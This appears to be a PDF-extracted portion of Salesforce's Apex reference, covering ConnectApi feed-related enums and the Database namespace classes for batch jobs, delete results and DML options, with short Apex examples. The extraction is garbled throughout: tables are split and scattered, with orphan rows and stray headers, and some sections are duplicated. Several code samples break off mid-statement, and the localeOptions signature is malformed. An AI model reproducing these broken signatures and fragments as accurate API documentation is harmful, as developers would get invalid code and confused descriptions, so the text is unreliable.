| ConnectApi.DatacloudImportStatusTypeEnum | Status of the import.  
- Success—Indicates that selected records were added to the org’s CRM.  
- Duplicate—Marks a record that is already in the org’s CRM. The API determines whether an org allows the addition of duplicate records in its CRM.  
- Error—Indicates that the selected records weren’t added to the org’s CRM. |
| ConnectApi.DigestPeriod | Time period that’s included in a Chatter email digest.  
- DailyDigest—The email includes up to the 50 latest posts from the previous day.  
- WeeklyDigest—The email includes up to the 50 latest posts from the previous week. |
| ConnectApi.EmailMessageDirection | Direction of an email message on a case.  
- Inbound—An inbound message (sent by a customer).  
- Outbound—An outbound message (sent to a customer by a support agent). |
| ConnectApi.EmailMessageStatus | Status of an email message on a case.  
- DraftStatus  
- ForwardedStatus  
- NewStatus  
- ReadStatus  
- RepliedStatus  
- SentStatus |
| ConnectApi.ExtensionInformationType | Information type of the extension.  
- Lightning |
| ConnectApi.FeedCommentSortOrder | Order of comments.  
- CreatedDateLatestAsc—Sorts by most recently created comments in ascending order.  
- CreatedDateOldestAsc—Sorts by oldest comments in ascending order.  
- Relevance—Sorts by most relevant content. |
| ConnectApi.FeedDensity | Density of the feed.  
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations. |
## Enum

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FewerUpdates — Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.</td>
</tr>
</tbody>
</table>

### ConnectApi Namespace: FeedElementCapability Type

Capabilities of a feed element in API versions 31.0 and later. If a capability exists on a feed element, the capability is available, even if the value doesn't exist or is `null`. If the capability doesn't exist, it isn't available.

- **AssociatedActions** — The feed element includes information about actions associated with it.
- **Approval** — The feed element includes information about an approval.
- **Banner** — The body of the feed element has an icon and border.
- **Bookmarks** — The context user can bookmark the feed element. Bookmarked feed elements are visible in the bookmarks feed.
- **Bundle** — The feed element has a group of other feed elements that display as a bundle in the feed. The bundle type determines the additional data associated with the bundle.
- **CallCollaboration** — The feed element has a recording comment.
- **Canvas** — The feed element renders a canvas app.
- **CaseComment** — The feed element has a case comment in the case feed.
- **ChatterLikes** — The context user can like the feed element.
- **Close** — The feed element can't be edited, commented on, or deleted. If the feed element is a poll, it can't be voted on.
- **Comments** — The context user can add comments to the feed element.
- **Content** — The feed element has a file.
- **DashboardComponentSnapshot** — The feed element has a dashboard component snapshot.
- **DirectMessage** — The feed element is a direct message.
- **Edit** — Users who have permission can edit the feed element.
- **EmailMessage** — The feed element has an email message from a case.
- **EnhancedLink** — The feed element has a link that can contain supplemental information like an icon, a title, and a description.
- **Extensions** — The feed element has one or more extension attachments.
- **FeedEntityShare** — The feed element has a feed entity shared with it.
- **Files** — The feed element has one or more file attachments.
- **Interactions** — The feed element has information about user interactions.
- **Link** — The feed element has a URL.
- **MediaReferences** — The feed element has one or more media references.
- **Moderation** — Users in an Experience Cloud site can flag the feed element for moderation.
- **Mute** — The context user can mute the feed element.
- **Origin** — A feed action created the feed element.
- **Pin** — Users who have permission can pin the feed element.
<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.FeedElement Type</td>
<td>Feed elements are the top-level objects that a feed contains. The feed element type describes the characteristics of that feed element.</td>
</tr>
<tr>
<td>• Bundle</td>
<td>A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully degraded to text-only values.</td>
</tr>
<tr>
<td>• FeedItem</td>
<td>A feed item has a single parent and is scoped to oneExperience Cloud site or across all Experience Cloud sites. A feed item can have capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments that can always be gracefully degraded to text-only values.</td>
</tr>
<tr>
<td>• Recommendation</td>
<td>A recommendation is a feed element with a recommendations capability. A recommendation suggests records to follow, groups to join, or applications that are helpful to the context user.</td>
</tr>
<tr>
<td>ConnectApi.FeedEntity Status</td>
<td>Status of the feed post or comment.</td>
</tr>
<tr>
<td>• Draft</td>
<td>The feed post isn’t published but is visible to the author and users with Modify All Data or View All Data permission. Comments can’t be drafts.</td>
</tr>
<tr>
<td>• PendingReview</td>
<td>The feed post or comment isn’t approved yet and therefore isn’t published or visible.</td>
</tr>
<tr>
<td>• Published</td>
<td>The feed post or comment is approved and visible.</td>
</tr>
<tr>
<td>ConnectApi.FeedFavorite Type</td>
<td>Origin of the feed favorite.</td>
</tr>
<tr>
<td>• ListView</td>
<td></td>
</tr>
<tr>
<td>• Search</td>
<td></td>
</tr>
<tr>
<td>• Topic</td>
<td></td>

### Enum

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AuthoredBy</td>
<td>Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.</td>
</tr>
<tr>
<td>CommunityScoped</td>
<td>Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.</td>
</tr>
<tr>
<td>QuestionsWithCandidateAnswers</td>
<td>Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.</td>
</tr>
<tr>
<td>QuestionsWithCandidateAnswersReviewedPublished</td>
<td>Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.</td>
</tr>
<tr>
<td>Read</td>
<td>Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.</td>
</tr>
<tr>
<td>SolvedQuestions</td>
<td>Feed elements that are questions and that have a best answer.</td>
</tr>
<tr>
<td>UnansweredQuestions</td>
<td>Feed elements that are questions and that don't have any answers.</td>
</tr>
<tr>
<td>UnansweredQuestionsWithCandidateAnswers</td>
<td>Feed elements that are questions that don't have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.</td>
</tr>
<tr>
<td>Unread</td>
<td>Feed elements that are created in the past 30 days and aren't marked as read for the context user. This value is valid only for the Record feed of a group.</td>
</tr>
<tr>
<td>UnsolvedQuestions</td>
<td>Feed elements that are questions and that don't have a best answer.</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedItemType.AttachmentType

<table>
<thead>
<tr>
<th>Attachment Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Approval</td>
<td>A feed item requiring approval.</td>
</tr>
<tr>
<td>BasicTemplate</td>
<td>A feed item with a generic rendering of an image, link, and title.</td>
</tr>
<tr>
<td>Canvas</td>
<td>A feed item that contains the metadata to render a link to a canvas app.</td>
</tr>
<tr>
<td>CaseComment</td>
<td>A feed item created from a comment to a case record.</td>
</tr>
<tr>
<td>CaseComment</td>
<td>A feed item created from a comment to a case record.</td>
</tr>
<tr>
<td>Content</td>
<td>A feed item with a file attached.</td>
</tr>
<tr>

<tr>
<td></td>
<td>• ChatTranscriptionPost—Feed item generated in Case Feed when a Live Agent</td>
</tr>
<tr>
<td></td>
<td>chat transcript is saved to a case.</td>
</tr>
<tr>
<td></td>
<td>• CollaborationGroupCreated—Feed item generated when a new public group is</td>
</tr>
<tr>
<td></td>
<td>created. Contains a link to the new group.</td>
</tr>
<tr>
<td></td>
<td>• CollaborationGroupUnarchived—Depreciated. Feed item generated when an</td>
</tr>
<tr>
<td></td>
<td>archived group is activated.</td>
</tr>
<tr>
<td></td>
<td>• ContentPost—Feed item with a content capability.</td>
</tr>
<tr>
<td></td>
<td>• CreateRecordEvent—Feed item that describes a record created in the</td>
</tr>
<tr>
<td></td>
<td>publisher.</td>
</tr>
<tr>
<td></td>
<td>• DashboardComponentAlert—Feed item with a dashboard alert.</td>
</tr>
<tr>
<td></td>
<td>• DashboardComponentSnapshot—Feed item with a dashboard component snapshot</td>
</tr>
<tr>
<td></td>
<td>capability.</td>
</tr>
<tr>
<td></td>
<td>• EmailMessageEvent—Feed item generated when an email is sent from a case</td>
</tr>
<tr>
<td></td>
<td>in Case Feed.</td>
</tr>
<tr>
<td></td>
<td>• FacebookPost—Depreciated. Feed item generated when a Facebook post is</td>
</tr>
<tr>
<td></td>
<td>created from a case in Case Feed.</td>
</tr>
<tr>
<td></td>
<td>• LinkPost—Feed item with a link capability.</td>
</tr>
<tr>
<td></td>
<td>• MilestoneEvent—Feed item generated when a case milestone is either</td>
</tr>
<tr>
<td></td>
<td>completed or reaches a violation status. Contains a link to the case</td>
</tr>
<tr>
<td></td>
<td>milestone.</td>
</tr>
<tr>
<td></td>
<td>• PollPost—Feed item with a poll capability. Viewers of the feed item are</td>
</tr>
<tr>
<td></td>
<td>allowed to vote on the options in the poll.</td>
</tr>
<tr>
<td></td>
<td>• ProfileSkillPost—Feed item generated when a skill is added to a user’s</td>
</tr>
<tr>
<td></td>
<td>profile.</td>
</tr>
<tr>
<td></td>
<td>• QuestionPost—Feed item generated when a question is asked.</td>
</tr>
<tr>
<td></td>
<td>• ReplyPost—Feed item generated by a Chatter Answers reply.</td>
</tr>
</tbody>
</table>

As of API version 33.0, a feed item of this type can have a content capability and a link capability.
### Enum

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>• RypplePost</td>
<td>Feed item generated when a user posts thanks.</td>
</tr>
<tr>
<td>• SocialPost</td>
<td>Feed item generated when a social post is created from a case in Case Feed.</td>
</tr>
<tr>
<td>• TextPost</td>
<td>Feed item containing text only.</td>
</tr>
<tr>
<td>• TrackedChange</td>
<td>Feed item created when one or more fields on a record have been changed.</td>
</tr>
<tr>
<td>• UserStatus</td>
<td>Deprecated. A user’s post to their own profile.</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedItemVisibilityType

Type of users who can see a feed item.

- **AllUsers**—Visibility is not limited to internal users.
- **InternalUsers**—Visibility is limited to internal users.

### ConnectApi.FeedSortOrder

Order of feed items in the feed.

- **CreateDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreateDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

### ConnectApi.FeedType

Type of feed.

- **Bookmarks**—Contains all feed items saved as bookmarks by the context user.
- **Company**—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing access to its parent.
- **DirectMessageModeration**—Contains all direct messages that are flagged for moderation. The Direct Message Moderation feed is available only to users with Moderate Experiences Chatter Messages permissions.
- **DirectMessages**—Contains all feed items of the context user’s direct messages.
- **Draft**—Contains all the feed items that the context user drafted.
- **Files**—Contains all feed items that contain files posted by people or groups that the context user follows.
- **Filter**—Contains the news feed filtered to contain feed items whose parent is a specified object type.
- **Groups**—Contains all feed items from all groups the context user either owns or is a member of.
- **Home**—Contains all feed items associated with any managed topic in an Experience Cloud site.
**Enum** | **Description**
--- | ---
Landing | Contains all feed items that best drive user engagement when the feed is requested. Allows clients to avoid an empty feed when there aren’t many personalized feed items.
Moderation | Contains all feed items that are flagged for moderation, except direct messages. The moderation feed is available only to users with Moderate Experiences Feeds permissions.
Mute | Contains all feed items that the context user muted.
News | Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is following. Contains all updates for records whose parent is the context user.
PendingReview | Contains all feed items and comments that are pending review.
People | Contains all feed items posted by all people the context user follows.
Record | Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user, the feed contains only feed items on that user. You can get another user’s record feed.
Streams | Contains all feed items for any combination of up to 25 feed-enabled entities that the context user subscribes to in a stream. Examples of feed-enabled entities include people, groups, and records,
To | Contains all feed items with mentions of the context user. Contains feed items the context user commented on and feed items created by the context user that are commented on.
Topics | Contains all feed items that include the specified topic.
UserProfile | Contains feed items created when a user changes records that can be tracked in a feed. Contains feed items whose parent is the user and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. You can get another user’s user profile feed.

**ConnectApi.FieldChange**

**Value Type**

- **NewValue**—A new value
- **OldValue**—An old value

**ConnectApi.FilePreviewFormat**

- **Jpg**—Preview format is JPG.
- **Pdf**—Preview format is PDF.
- **Svg**—Preview format is compressed SVG.
- **Thumbnail**—Preview format is 240 x 180 PNG.
- **ThumbnailBig**—Preview format is 720 x 480 PNG.
- **ThumbnailTiny**—Preview format is 120 x 90 PNG.

**ConnectApi.FilePreviewStatus**

- **Available**—Preview is available.
### Enum

**Description**

- **InProgress**—Preview is being processed.
- **NotAvailable**—Preview is unavailable.
- **NotScheduled**—Generation of the preview isn’t scheduled yet.

</table>

### ConnectApi.LinkMetadataSource

- `None`—Link metadata wasn’t retrieved.
- `Sfmc`—Salesforce is the source.

### ConnectApi.LinkMetadataType

- `Error`—Link metadata couldn’t be retrieved.
- `Link`—Represents a link.
- `None`—Link metadata wasn’t retrieved because the link isn’t an allowed domain.
- `Photo`—Represents a photo.
- `Rich`—Represents rich content, typically HTML content.
- `Unknown`—Link metadata was retrieved, but the type is unknown.
- `Video`—Represents a video.

### ConnectApi.MaintenanceType

- `Downtime`—Downtime maintenance.
- `GenerallyAvailable`—Maintenance with generally available mode.
- `MaintenanceWithDowntime`—Scheduled maintenance with downtime.
- `ReadOnly`—Maintenance with read-only mode.

### ConnectApi.ManagedContentChannelType

- `CloudToCloud`
- `Community`
- `ConnectedApp`
- `PublicUnauthenticated`

### ConnectApi.ManagedContentMediaType

- `Document`
- `Image`

### ConnectApi.ManagedContentNodeType

- `Date`
- `DateTime`
- `Media`

<tr>
<td></td>
<td>• PopularApp—Applications that are popular.</td>
</tr>
<tr>
<td></td>
<td>• RecordOwned—Records that the context user owns.</td>
</tr>
<tr>
<td></td>
<td>• RecordParentOfFollowed—Parent records of records that the context user follows.</td>
</tr>
<tr>
<td></td>
<td>• RecordViewed—Records that the context user recently viewed.</td>
</tr>
<tr>
<td></td>
<td>• TopicFollowedTogether—Topics often followed together with the record that the context user just followed.</td>
</tr>
<tr>
<td></td>
<td>• TopicFollowedTogetherWithFollowees—Topics often followed together with other records that the context user follows.</td>
</tr>
<tr>
<td></td>
<td>• TopicPopularFollowed—Topics with many followers.</td>
</tr>
<tr>
<td></td>
<td>• TopicPopularLiked—Topics on posts that have many likes.</td>
</tr>
<tr>
<td></td>
<td>• UserDirectReport—Users who report to the context user.</td>
</tr>
<tr>
<td></td>
<td>• UserFollowedTogether—Users often followed together with the record that the context user just followed.</td>
</tr>
<tr>
<td></td>
<td>• UserFollowsSameUsers—Users who follow the same users as the context user.</td>
</tr>
<tr>
<td></td>
<td>• UserManager—The context user's manager.</td>
</tr>
<tr>
<td></td>
<td>• UserNew—Recently created users.</td>
</tr>
<tr>
<td></td>
<td>• UserPeer—Users who report to the same manager as the context user.</td>
</tr>
<tr>
<td></td>
<td>• UserPopular—Users with many followers.</td>
</tr>
<tr>

</table>

### ConnectApi Exceptions

The ConnectApi namespace contains exception classes.

All exceptions classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions on page 3159.

The ConnectApi namespace contains these exceptions:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.ConnectApiException</td>
<td>Any logic error in the way your application is utilizing ConnectApi code. This is equivalent to receiving a 400 error from Connect REST API.</td>
</tr>
<tr>
<td>ConnectApi.NotFoundException</td>
<td>Any issues with the specified resource being found. This is equivalent to receiving a 404 error from Connect REST API.</td>
</tr>
<tr>
<td>ConnectApi.RateLimitException</td>
<td>When you exceed the rate limit. This is equivalent to receiving a 503 Service Unavailable error from Connect REST API.</td>
</tr>
</tbody>
</table>

### Database Namespace

The Database namespace provides classes used with DML operations.
The following are the classes in the Database namespace.

IN THIS SECTION:

**Batchable Interface**
The class that implements this interface can be executed as a batch Apex job.

**BatchableContext Interface**
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.

**DeletedRecord Class**
Contains information about a deleted record.

**DeleteResult Class**
Represents the result of a delete DML operation returned by the Database.delete method.

**DMLOptions Class**
Enables you to set options related to DML operations.

**DmlOptions.AssignmentRuleHeader Class**
Enables setting assignment rule options.

**DMLOptions.DuplicateRuleHeader Class**
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.

**DmlOptions.EmailHeader Class**
Enables setting email options.

**DuplicateError Class**
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has set up duplicate rules, which are part of the Duplicate Management feature.

**EmptyRecycleBinResult Class**
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.

**Error Class**
Represents information about an error that occurred during a DML operation when using a Database method.

**GetDeletedResult Class**
Contains the deleted records retrieved for a specific sObject type and time window.

**GetUpdatedResult Class**
Contains the result for the Database.getUpdated method call.

**LeadConvert Class**
Contains information used for lead conversion.

**LeadConvertResult Class**
The result of a lead conversion.

**MergeResult Class**
Contains the result of a merge Database method operation.

**QueryLocator Class**
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.

SaveResult Class
The result of an insert or update DML operation returned by a Database method.

UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.

UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.

Batchable Interface
The class that implements this interface can be executed as a batch Apex job.

Namespace
Database

SEE ALSO:
Using Batch Apex

Batchable Methods
The following are methods for Batchable.

IN THIS SECTION:
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch job.

finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.

start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.

execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch job.

Signature
public Void execute(Database.BatchableContext jobId, List<sObject> recordList)
Parameters

`jobId`  
Type: `Database.BatchableContext`  
Contains the job ID.

`recordList`  
Type: `List<sObject>`  
Contains the batch of records to process.

Return Value  
Type: Void

**finish(jobId)**  
Gets invoked when the batch job finishes. Place any clean up code in this method.

Signature  
`public Void finish(Database.BatchableContext jobId)`

Parameters

`jobId`  
Type: `Database.BatchableContext`  
Contains the job ID.

Return Value  
Type: Void

**start(jobId)**  
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.

Signature  
`public System.Iterable start(Database.BatchableContext jobId)`

Parameters

`jobId`  
Type: `Database.BatchableContext`  
Contains the job ID.

Return Value  
Type: `System.Iterable`
**start**(jobId)

Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.

**Signature**

```
public Database.QueryLocator start(Database.BatchableContext jobId)
```

**Parameters**

- **jobId**
  - Type: `Database.BatchableContext`
  - Contains the job ID.

**Return Value**

- Type: `Database.QueryLocator`

---

**BatchableContext Interface**

Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.

**Namespace**

`Database`

**SEE ALSO:**

- Batchable Interface

---

**BatchableContext Methods**

The following are methods for `BatchableContext`.

**IN THIS SECTION:**

- `getChildJobId()`
  - Returns the ID of the current batch job chunk that is being processed.

- `getJobId()`
  - Returns the batch job ID.

**getChildJobId()**

Returns the ID of the current batch job chunk that is being processed.

**Signature**

```
public Id getChildJobId()
```
Return Value
Type: ID

**getJobId()**
Returns the batch job ID.

Signature
```java
public Id getJobId()
```

Return Value
Type: ID

**DeletedRecord Class**
Contains information about a deleted record.

**Namespace**
Database

**Usage**
The `getDeletedRecords` method of the `Database.GetDeletedResult` class returns a list of `Database.DeletedRecord` objects. Use the methods in the `Database.DeletedRecord` class to retrieve details about each deleted record.

**DeletedRecord Methods**
The following are methods for `DeletedRecord`. All are instance methods.

**IN THIS SECTION:**
- `getDeletedDate()`
  Returns the deleted date of this record.
- `getId()`
  Returns the ID of a record deleted within the time window specified in the `Database.getDeleted` method.

**getDeletedDate()**
Returns the deleted date of this record.

Signature
```java
public Date getDeletedDate()
```
getId()

Returns the ID of a record deleted within the time window specified in the `Database.getDeleted` method.

Signature

```java
public Id getId()
```

Return Value

Type: ID

DeleteResult Class

Represents the result of a delete DML operation returned by the `Database.delete` method.

Namespace

`Database`

Usage

An array of `Database.DeleteResult` objects is returned with the `delete` database method. Each element in the DeleteResult array corresponds to the sObject array passed as the `sObject[]` parameter in the `delete` Database method; that is, the first element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the DeleteResult array contains a single element.

Example

The following example shows how to obtain and iterate through the returned `Database.DeleteResult` objects. It deletes some queried accounts using `Database.delete` with a false second parameter to allow partial processing of records on failure. Next, it iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error messages and fields of the failed records.

```java
// Query the accounts to delete
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Delete the accounts
Database.DeleteResult[] drList = Database.delete(accts, false);

// Iterate through each returned result
for(Database.DeleteResult dr : drList) {
    if (dr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully deleted account with ID: ' + dr.getId());
    } else {
        // Operation failed, so get all errors
        for(Database.Error err : dr.getErrors()) {
```
DeleteResult Methods

The following are methods for DeleteResult. All are instance methods.

IN THIS SECTION:

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns an empty set.

getId()
Returns the ID of the sObject you were trying to delete.

isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

**getErrors()**

If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns an empty set.

**Signature**

```java
public Database.Error[] getErrors()
```

**Return Value**

Type: `Database.Error[]`

**getId()**

Returns the ID of the sObject you were trying to delete.

**Signature**

```java
public ID getId()
```

**Return Value**

Type: ID

**Usage**

If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.
**isSuccess()**

A Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.

**Signature**

```java
public Boolean isSuccess()
```

**Return Value**

Type: `Boolean`

---

**DMLOptions Class**

Enables you to set options related to DML operations.

**Namespace**

Database

**Usage**

`Database.DMLOptions` is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed using Apex DML and not through the Salesforce user interface. The DMLOptions class has three child options.

**DML Child Options**

- `DmlOptions.AssignmentRuleHeader`—Enables setting assignment rule options.
- `DmlOptions.DuplicateRuleHeader`—Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.
- `DmlOptions.EmailHeader`—Enables setting email options.

**DmlOptions Properties**

The following are properties for `DmlOptions`.

**IN THIS SECTION:**

- `allowFieldTruncation`
  Specifies the truncation behavior of large strings.
- `assignmentRuleHeader`
  Specifies the assignment rule to be used when creating a case or lead.
- `emailHeader`
  Specifies additional information regarding the automatic email that gets sent when an events occurs.
- `localeOptions`
  Specifies the language of any labels that are returned by Apex.
- `optAllOrNone`
  Specifies whether the operation allows for partial success.
allowFieldTruncation
Specifies the truncation behavior of large strings.

Signature
public Boolean allowFieldTruncation {get; set;}

Property Value
Type: Boolean

Usage
In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.

assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.

Signature
public Database.DmlOptions.AssignmentRuleHeader assignmentRuleHeader {get; set;}

Property Value
Type: Database.DmlOptions.AssignmentRuleHeader

Usage
Note: The Database.DmlOptions object supports assignment rules for cases and leads, but not for accounts or territory management.

emailHeader
Specifies additional information regarding the automatic email that gets sent when an event occurs.

Signature
public Database.DmlOptions.EmailHeader emailHeader {get; set;}

Property Value
Type: Database.DmlOptions.EmailHeader

Usage
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur.
• Creation of a new case or task
- Conversion of a case email to a contact
- New user email notification
- Lead queue email notification
- Password reset

In Apex saved against API version 15.0 or later, the `Database.DMLOptions.emailHeader` property enables you to specify additional information regarding the email that gets sent when one of the events occurs because of the code's execution.

**localeOptions**

Specifies the language of any labels that are returned by Apex.

**Signature**

```java
public Database.DmlOptions/localeOptions {get; set;}
```

**Property Value**

*Type: Database.DMLOptions.LocaleOptions*

**Usage**

The value must be a valid user locale (language and country), such as `de_DE` or `en_GB`. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK'. For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA'.

**optAllOrNone**

Specifies whether the operation allows for partial success.

**Signature**

```java
public Boolean optAllOrNone {get; set;}
```

**Property Value**

*Type: Boolean*

**Usage**

If `optAllOrNone` is set to `true`, all changes are rolled back if any record causes errors. The default for this property is `false` and successfully processed records are committed while records with errors aren't.

This property is available in Apex saved against Salesforce API version 20.0 and later.

**DmlOptions.AssignmentRuleHeader Class**

Enables setting assignment rule options.
Namespace

Database

Example

The following example uses the useDefaultRule option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

The following example uses the assignmentRuleID option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId = '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

DmlOptions.AssignmentRuleHeader Properties

The following are properties for DmlOptions.AssignmentRuleHeader.

IN THIS SECTION:

- **assignmentRuleID**
  - Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.

- **useDefaultRule**
  - If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an assignmentRuleId.

**assignmentRuleID**

Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.

Signature

```java
public Id assignmentRuleID {get; set;}
```

Property Value

Type: ID

Usage

The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule.

If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
**useDefaultRule**

If specified as `true` for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an `assignmentRuleId`.

**Signature**

```java
public Boolean useDefaultRule {get; set;}
```

**Property Value**

Type: `Boolean`

**Usage**

If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with `useDefaultRule` set to `true` results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is unassigned and doesn’t get assigned to the default owner.

**DMLOptions.DuplicateRuleHeader Class**

Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.

**Namespace**

`Database`

**Example**

The following example shows how to save an account record that's been identified as a duplicate. To learn how to iterate through duplicate errors, see `DuplicateError Class`.

```java
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

**IN THIS SECTION:**

  - `DMLOptions.DuplicateRuleHeader Properties`

**DMLOptions.DuplicateRuleHeader Properties**

The following are properties for `DMLOptions.DuplicateRuleHeader`. 
IN THIS SECTION:

**allowSave**
For a duplicate rule, when the Alert option is enabled, bypass alerts and save duplicate records by setting this property to `true`. Prevent duplicate records from being saved by setting this property to `false`.

**runAsCurrentUser**
Make sure that sharing rules for the current user are enforced when duplicate rules run by setting this property to `true`. Use the sharing rules specified in the class for the request by setting this property to `false`. If no sharing rules are specified, Apex code runs in system context and sharing rules for the current user are not enforced.

**allowSave**
For a duplicate rule, when the Alert option is enabled, bypass alerts and save duplicate records by setting this property to `true`. Prevent duplicate records from being saved by setting this property to `false`.

**runAsCurrentUser**
Make sure that sharing rules for the current user are enforced when duplicate rules run by setting this property to `true`. Use the sharing rules specified in the class for the request by setting this property to `false`. If no sharing rules are specified, Apex code runs in system context and sharing rules for the current user are not enforced.

**Signature**

```plaintext
public Boolean allowSave {get; set;}
```

**Property Value**

Type: `Boolean`

**Example**

This example shows how to save an account record that’s been identified as a duplicate. `dml.DuplicateRuleHeader.allowSave = true` means the user should be allowed to save the duplicate. To learn how to iterate through duplicate errors, see `DuplicateError Class`.

```plaintext
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

**runAsCurrentUser**

**Signature**

```plaintext
public Boolean runAsCurrentUser {get; set;}
```

**Property Value**

Type: `Boolean`
Usage

If specified as true, duplicate rules run for the current user, which ensures users can't view duplicate records that aren't available to them.

Use runAsCurrentUser = true to detect duplicates when converting leads to contacts. Typically, lead conversion Apex code runs in a system context and does not enforce sharing rules for the current user.

Example

This example shows how to set options so that duplicate rules run for the current user when saving a new account.

```java
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
